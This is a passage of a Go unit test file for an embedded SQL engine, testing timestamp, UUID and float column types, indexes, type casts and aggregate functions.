err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, TimestampType, row.ValuesBySelector[sel].Type())\n\t\trequire.Equal(t, time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC), row.ValuesBySelector[sel].RawValue())\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\tr, err = engine.Query(context.Background(), nil,\n\t\t\t\"SELECT ts FROM timestamp_table WHERE ts = @ts ORDER BY id\", map[string]interface{}{\n\t\t\t\t\"ts\": \"2021-12-06 10:14\",\n\t\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestTimestampIndex(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE IF NOT EXISTS timestamp_index (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON timestamp_index(ts)\", nil)\n\trequire.NoError(t, err)\n\n\tfor i := 100; i > 0; i-- {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO timestamp_index(ts) VALUES(@ts)\", map[string]interface{}{\"ts\": time.Unix(int64(i), 0)})\n\t\trequire.NoError(t, err)\n\t}\n\n\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM timestamp_index ORDER BY ts\", nil)\n\trequire.NoError(t, err)\n\tdefer r.Close()\n\n\tfor i := 100; i > 0; i-- {\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, i, row.ValuesBySelector[EncodeSelector(\"\", \"timestamp_index\", \"id\")].RawValue())\n\t}\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n}\n\nfunc TestTimestampCasts(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE IF NOT EXISTS timestamp_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\tsel := EncodeSelector(\"\", \"timestamp_table\", \"ts\")\n\n\tfor _, d := range []struct {\n\t\tstr string\n\t\tt   time.Time\n\t}{\n\t\t{\"2021-12-03 16:14:21.1234\", time.Date(2021, 12, 03, 16, 14, 21, 123400000, time.UTC)},\n\t\t{\"2021-12-03 16:14\", time.Date(2021, 12, 03, 16, 14, 0, 0, time.UTC)},\n\t\t{\"2021-12-03\", time.Date(2021, 12, 03, 0, 0, 0, 0, time.UTC)},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"insert a timestamp value using a cast from '%s'\", d.str), func(t *testing.T) {\n\t\t\t_, _, err = engine.Exec(\n\t\t\t\tcontext.Background(), nil,\n\t\t\t\tfmt.Sprintf(\"INSERT INTO timestamp_table(ts) VALUES(CAST('%s' AS TIMESTAMP))\", d.str), nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tr, err := engine.Query(context.Background(), nil, \"SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer r.Close()\n\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, TimestampType, row.ValuesBySelector[sel].Type())\n\t\t\trequire.Equal(t, d.t, row.ValuesBySelector[sel].RawValue())\n\t\t})\n\t}\n\n\tt.Run(\"insert a timestamp value using a cast from INTEGER\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\t\"INSERT INTO timestamp_table(ts) VALUES(CAST(123456 AS TIMESTAMP))\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, TimestampType, row.ValuesBySelector[sel].Type())\n\t\trequire.Equal(t, time.Unix(123456, 0).UTC(), row.ValuesBySelector[sel].RawValue())\n\t})\n\n\tt.Run(\"test casting from null values\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\t`\n\t\t\tCREATE TABLE IF NOT EXISTS values_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, str VARCHAR, i INTEGER, PRIMARY KEY id);\n\t\t\tINSERT INTO values_table(ts, str,i) VALUES(NOW(), NULL, NULL);\n\t\t`, nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\t`\n\t\t\tUPDATE values_table SET ts = CAST(str AS TIMESTAMP);\n\t\t`, nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\t`\n\t\t\tUPDATE values_table SET ts = i::TIMESTAMP;\n\t\t`, nil)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"test casting invalid string\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO timestamp_table(ts) VALUES(CAST('not a datetime' AS TIMESTAMP))\", nil)\n\t\trequire.ErrorIs(t, err, ErrUnsupportedCast)\n\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\t\"INSERT INTO timestamp_table(ts) VALUES(CAST(@ts AS TIMESTAMP))\", map[string]interface{}{\n\t\t\t\t\"ts\": strings.Repeat(\"long string \", 1000),\n\t\t\t})\n\t\trequire.ErrorIs(t, err, ErrUnsupportedCast)\n\t})\n\n\tt.Run(\"test casting unsupported type\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO timestamp_table(ts) VALUES(CAST(true AS TIMESTAMP))\", nil)\n\t\trequire.ErrorIs(t, err, ErrUnsupportedCast)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO timestamp_table(ts) VALUES(CAST(true AS INTEGER))\", nil)\n\t\trequire.ErrorIs(t, err, ErrUnsupportedCast)\n\t})\n\n\tt.Run(\"test type inference with casting\", func(t *testing.T) {\n\t\t_, err = engine.Query(context.Background(), nil, \"SELECT * FROM timestamp_table WHERE id < CAST(true AS TIMESTAMP)\", nil)\n\t\trequire.ErrorIs(t, err, ErrUnsupportedCast)\n\n\t\trowReader, err := engine.Query(context.Background(), nil, \"SELECT * FROM timestamp_table WHERE ts > CAST(id::INTEGER AS TIMESTAMP)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = rowReader.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\trequire.NoError(t, rowReader.Close())\n\t})\n}\n\nfunc TestUUIDAsPK(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE IF NOT EXISTS uuid_table(id UUID, test INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\tsel := EncodeSelector(\"\", \"uuid_table\", \"id\")\n\n\tt.Run(\"UUID as PK\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO uuid_table(id) VALUES(RANDOM_UUID())\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err := engine.InferParameters(context.Background(), nil, \"SELECT id FROM uuid_table WHERE id = NOW()\")\n\t\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id FROM uuid_table\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, UUIDType, row.ValuesBySelector[sel].Type())\n\n\t\trequire.Len(t, row.ValuesByPosition, 1)\n\t\trequire.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel])\n\t})\n\n\tt.Run(\"must accept RANDOM_UUID() as an UUID\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO uuid_table(id) VALUES(RANDOM_UUID())\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err := engine.InferParameters(context.Background(), nil, \"SELECT id FROM uuid_table WHERE id = NOW()\")\n\t\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id FROM uuid_table\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, UUIDType, row.ValuesBySelector[sel].Type())\n\n\t\trequire.Len(t, row.ValuesByPosition, 1)\n\t\trequire.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel])\n\t})\n\n\tt.Run(\"must accept uuid string as an UUID\", func(t *testing.T) {\n\t\tid := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO uuid_table(id, test) VALUES(@uuid, 3)\", map[string]interface{}{\n\t\t\t\"uuid\": id.String(),\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id FROM uuid_table WHERE test = 3\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, UUIDType, row.ValuesBySelector[sel].Type())\n\n\t\trequire.Len(t, row.ValuesByPosition, 1)\n\t\trequire.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel])\n\t\trequire.Equal(t, id, row.ValuesByPosition[0].RawValue())\n\t})\n\n\tt.Run(\"must accept byte slice as an UUID\", func(t *testing.T) {\n\t\tid := uuid.UUID([16]byte{0x10, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO uuid_table(id, test) VALUES(@uuid, 4)\", map[string]interface{}{\n\t\t\t\"uuid\": id[:],\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id FROM uuid_table WHERE test = 4\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, UUIDType, row.ValuesBySelector[sel].Type())\n\n\t\trequire.Len(t, row.ValuesByPosition, 1)\n\t\trequire.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel])\n\t\trequire.Equal(t, id, row.ValuesByPosition[0].RawValue())\n\t})\n\n}\n\nfunc TestUUIDNonPK(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE uuid_table(id INTEGER, u UUID, t VARCHAR, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\tsel := EncodeSelector(\"\", \"uuid_table\", \"u\")\n\n\tt.Run(\"UUID as non PK\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO uuid_table(id, u, t) VALUES(1, RANDOM_UUID(), 't')\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT u FROM uuid_table\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, UUIDType, row.ValuesBySelector[sel].Type())\n\n\t\trequire.Len(t, row.ValuesByPosition, 1)\n\t\trequire.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel])\n\t})\n\n\tt.Run(\"UUID as non PK must accept uuid string\", func(t *testing.T) {\n\t\tid := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO uuid_table(id, u, t) VALUES(2, @id, 't')\", map[string]interface{}{\n\t\t\t\"id\": id.String(),\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT u FROM uuid_table WHERE id = 2 LIMIT 1\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, UUIDType, row.ValuesBySelector[sel].Type())\n\n\t\trequire.Len(t, row.ValuesByPosition, 1)\n\t\trequire.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel])\n\t\trequire.Equal(t, id, row.ValuesByPosition[0].RawValue())\n\t})\n\n\tt.Run(\"UUID as non PK must accept byte slice\", func(t *testing.T) {\n\t\tid := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO uuid_table(id, u, t) VALUES(3, @id, 't')\", map[string]interface{}{\n\t\t\t\"id\": id[:],\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT u FROM uuid_table WHERE id = 3 LIMIT 1\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, UUIDType, row.ValuesBySelector[sel].Type())\n\n\t\trequire.Len(t, row.ValuesByPosition, 1)\n\t\trequire.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel])\n\t\trequire.Equal(t, id, row.ValuesByPosition[0].RawValue())\n\t})\n\n}\n\nfunc TestFloatType(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"CREATE TABLE IF NOT EXISTS float_table (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)\",\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\tt.Run(\"must insert float type\", func(t *testing.T) {\n\t\tfor _, d := range []struct {\n\t\t\tvalStr   string\n\t\t\tvalFloat float64\n\t\t}{\n\t\t\t{\"0\", 0},\n\t\t\t{\"-0\", 0},\n\t\t\t{\"1\", 1},\n\t\t\t{\"-1\", -1.0},\n\t\t\t{\"100.100\", 100.100},\n\t\t\t{\".7\", .7},\n\t\t\t{\".543210\", .543210},\n\t\t\t{\"105.7\", 105.7},\n\t\t\t{\"00105.98988897\", 00105.98988897},\n\t\t} {\n\t\t\tt.Run(\"Valid float: \"+d.valStr, func(t *testing.T) {\n\t\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO float_table(ft) VALUES(\"+d.valStr+\")\", nil)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tr, err := engine.Query(context.Background(), nil, \"SELECT ft FROM float_table ORDER BY id DESC LIMIT 1\", nil)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\tdefer r.Close()\n\n\t\t\t\trow, err := r.Read(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, Float64Type, row.ValuesByPosition[0].Type())\n\t\t\t\trequire.Equal(t, d.valFloat, row.ValuesByPosition[0].RawValue())\n\t\t\t})\n\t\t}\n\n\t\tfor _, d := range []string{\n\t\t\t\"105.9898.8897\",\n\t\t\t\"0..0\",\n\t\t} {\n\t\t\tt.Run(\"Invalid float: \"+d, func(t *testing.T) {\n\t\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO float_table(ft) VALUES(\"+d+\")\", nil)\n\t\t\t\trequire.Error(t, err)\n\t\t\t})\n\t\t}\n\t})\n\n\tt.Run(\"must accept float as parameter\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"INSERT INTO float_table(ft) VALUES(@ft)\",\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"ft\": -0.4,\n\t\t\t},\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT ft FROM float_table ORDER BY id DESC LIMIT 1\", nil)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, Float64Type, row.ValuesByPosition[0].Type())\n\t\trequire.Equal(t, -0.4, row.ValuesByPosition[0].RawValue())\n\t})\n\n\tt.Run(\"must correctly validate float equality\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"INSERT INTO float_table(ft) VALUES(@ft)\",\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"ft\": 0.78,\n\t\t\t},\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\tr, err := engine.Query(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT ft FROM float_table WHERE ft = @ft ORDER BY id\",\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"ft\": 0.78,\n\t\t\t})\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, Float64Type, row.ValuesByPosition[0].Type())\n\t\trequire.Equal(t, 0.78, row.ValuesByPosition[0].RawValue())\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\tr, err = engine.Query(\n\t\t\tcontext.Background(), nil,\n\t\t\t\"SELECT ts FROM float_table WHERE ft = @ft ORDER BY id\",\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"ft\": \"2021-12-06 10:14\",\n\t\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrUnsupportedCast)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"must correctly handle floating points in aggregate functions\", func(t *testing.T) {\n\t\t_, _, err := engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`\n\t\t\tCREATE TABLE aggregate_test(\n\t\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\t\tf FLOAT,\n\t\t\t\tPRIMARY KEY(id)\n\t\t\t)\n\t\t\t`,\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\taggregateFunctions := []struct {\n\t\t\tfn     string\n\t\t\tresult float64\n\t\t}{\n\t\t\t{\"MAX\", 4.0},\n\t\t\t{\"MIN\", -1.0},\n\t\t\t{\"SUM\", 10.0},\n\t\t\t{\"AVG\", 10.0 / 6.0},\n\t\t}\n\n\t\t// Empty table - this is a corner case that has to be checked too\n\t\tfor _, d := range aggregateFunctions {\n\t\t\tt.Run(d.fn, func(t *testing.T) {\n\t\t\t\tres, err := engine.Query(\n\t\t\t\t\tcontext.Background(),\n\t\t\t\t\tnil,\n\t\t\t\t\t\"SELECT \"+d.fn+\"(f) FROM aggregate_test\",\n\t\t\t\t\tnil)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\tdefer res.Close()\n\n\t\t\t\trow, err := res.Read(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\trequire.Len(t, row.ValuesByPosition, 1)\n\t\t\t\trequire.EqualValues(t, 0.0, row.ValuesByPosition[0].RawValue())\n\t\t\t})\n\t\t}\n\n\t\t// Add some values\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`\n\t\t\tINSERT INTO aggregate_test(f)\n\t\t\tVALUES (2.0), (1.0), (4.0), (3.0), (-1.0), (1.0)\n\t\t\t`,\n\t\t\tnil)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, d := range aggregateFunctions {\n\t\t\tt.Run(fmt.Sprintf(\"%+v\", d), func(t *testing.T) {\n\t\t\t\tres, err := engine.Query(\n\t\t\t\t\tcontext.Background(),\n\t\t\t\t\tnil,\n\t\t\t\t\t\"SELECT \"+d.fn+\"(f) FROM aggregate_test\",\n\t\t\t\t\tnil)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\tdefer res.Close()\n\n\t\t\t\trow, err := res.Read(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\trequire.Len(t, row.ValuesByPosition, 1)\n\t\t\t\trequire.EqualValues(t, d.result, row.ValuesByPosition[0].RawValue())\n\t\t\t})\n\t\t}\n\t})\n\n\tt.Run(\"correctly infer fliating-point parameter\", func(t *testing.T) {\n\t\tparams, err := engine.InferParameters(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT * FROM float_table WHERE ft = @fparam\",\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, map[string]SQLValueType{\"fparam\": Float64Type}, params)\n\t})\n}\n\nfunc TestFloatIndex(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"CREATE TABLE IF NOT EXISTS float_index (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)\",\n\t\tnil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"CREATE INDEX ON float_index(ft)\",\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\tfor i := 100; i > 0; i-- {\n\t\tval, _ := strconv.ParseFloat(fmt.Sprint(i, \".\", i), 64)\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"INSERT INTO float_index(ft) VALUES(@ft)\",\n\t\t\tmap[string]interface{}{\"ft\": val})\n\t\trequire.NoError(t, err)\n\t}\n\n\tr, err := engine.Query(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"SELECT * FROM float_index ORDER BY ft\",\n\t\tnil)\n\trequire.NoError(t, err)\n\tdefer r.Close()\n\n\tprevf := float64(-1.0)\n\tfor i := 100; i > 0; i-- {\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, i, row.ValuesBySelector[EncodeSelector(\"\", \"float_index\", \"id\")].RawValue())\n\n\t\tcurrf := row.ValuesBySelector[EncodeSelector(\"\", \"float_index\", \"ft\")].RawValue().(float64)\n\t\trequire.Less(t, prevf, currf)\n\t\tprevf = currf\n\t}\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n}\n\nfunc TestFloatIndexOnNegatives(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"CREATE TABLE IF NOT EXISTS float_index (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)\",\n\t\tnil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"CREATE INDEX ON float_index(ft)\",\n\t\tnil)\n\trequire.NoError(t, err)\n\n\tvar z float64\n\tfloatSerie := []float64{\n\t\tz,      /*0*/\n\t\t-z,     /*-0*/\n\t\t1 / z,  /*+Inf*/\n\t\t-1 / z, /*-Inf*/\n\t\t+z / z, /*NaN*/\n\t\t-z / z, /*NaN*/\n\t\t-1.0,\n\t\t3.345,\n\t\t-0.5,\n\t\t0.0,\n\t\t-100.8,\n\t\t0.5,\n\t\t1.0,\n\t\tmath.MaxFloat64,\n\t\t-math.MaxFloat64,\n\t\tmath.SmallestNonzeroFloat64,\n\t}\n\n\tfor _, ft := range floatSerie {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"INSERT INTO float_index(ft) VALUES(@ft)\",\n\t\t\tmap[string]interface{}{\"ft\": ft})\n\t\trequire.NoError(t, err)\n\t}\n\n\tr, err := engine.Query(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"SELECT * FROM float_index ORDER BY ft\",\n\t\tnil)\n\trequire.NoError(t, err)\n\tdefer r.Close()\n\n\tsort.Float64s(floatSerie)\n\n\tfor i := 0; i < len(floatSerie); i++ {\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tval := row.ValuesBySelector[EncodeSelector(\"\", \"float_index\", \"ft\")].RawValue()\n\t\tif i == 0 {\n\t\t\trequire.True(t, math.IsNaN(val.(float64)))\n\t\t\tcontinue\n\t\t}\n\t\tif i == 1 {\n\t\t\trequire.True(t, math.IsNaN(val.(float64)))\n\t\t\tcontinue\n\t\t}\n\t\tif i == 7 { // negative zero\n\t\t\trequire.True(t, math.Signbit(val.(float64)))\n\t\t}\n\t\tif i == 8 { // positive zero\n\t\t\trequire.False(t, math.Signbit(val.(float64)))\n\t\t}\n\t\tif i == 9 { // positive zero\n\t\t\trequire.False(t, math.Signbit(val.(float64)))\n\t\t}\n\t\tif i == 10 {\n\t\t\trequire.Equal(t, math.SmallestNonzeroFloat64, val)\n\t\t}\n\t\trequire.Equal(t, floatSerie[i], val)\n\t}\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n}\n\nfunc TestFloatCasts(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"CREATE TABLE IF NOT EXISTS float_table (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)\",\n\t\tnil)\n\trequire.NoError(t, err)\n\n\tfor _, d := range []struct {\n\t\tstr string\n\t\tf   float64\n\t}{\n\t\t{\"0.5\", 0.5},\n\t\t{\".1\", 0.1},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"insert a float value using a cast from '%s'\", d.str), func(t *testing.T) {\n\t\t\t_, _, err = engine.Exec(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\tfmt.Sprintf(\"INSERT INTO float_table(ft) VALUES(CAST('%s' AS FLOAT))\", d.str),\n\t\t\t\tnil,\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tr, err := engine.Query(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\t\"SELECT ft FROM float_table ORDER BY id DESC LIMIT 1\",\n\t\t\t\tnil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer r.Close()\n\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, Float64Type, row.ValuesByPosition[0].Type())\n\t\t\trequire.Equal(t, d.f, row.ValuesByPosition[0].RawValue())\n\t\t})\n\t}\n\n\tt.Run(\"insert a float value using a cast from INTEGER\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"INSERT INTO float_table(ft) VALUES(CAST(123456 AS FLOAT))\",\n\t\t\tnil)\n\t\trequire.NoError(t, err)\n\n\t\tr, err := engine.Query(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT ft FROM float_table ORDER BY id DESC LIMIT 1\",\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, Float64Type, row.ValuesByPosition[0].Type())\n\t\trequire.Equal(t, float64(123456), row.ValuesByPosition[0].RawValue())\n\t})\n\n\tt.Run(\"test casting from null values\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`\n\t\t\tCREATE TABLE IF NOT EXISTS values_table (id INTEGER AUTO_INCREMENT, ft FLOAT, str VARCHAR, i INTEGER, PRIMARY KEY id);\n\t\t\tINSERT INTO values_table(ft, str,i) VALUES(NULL, NULL, NULL);\n\t\t\t`,\n\t\t\tnil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`\n\t\t\tUPDATE values_table SET ft = CAST(str AS FLOAT);\n\t\t\t`,\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`\n\t\t\tUPDATE values_table SET ft = CAST(i AS FLOAT);\n\t\t\t`,\n\t\t\tnil)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"test casting invalid string\", func(t *testing.T) {\n\t\t_, 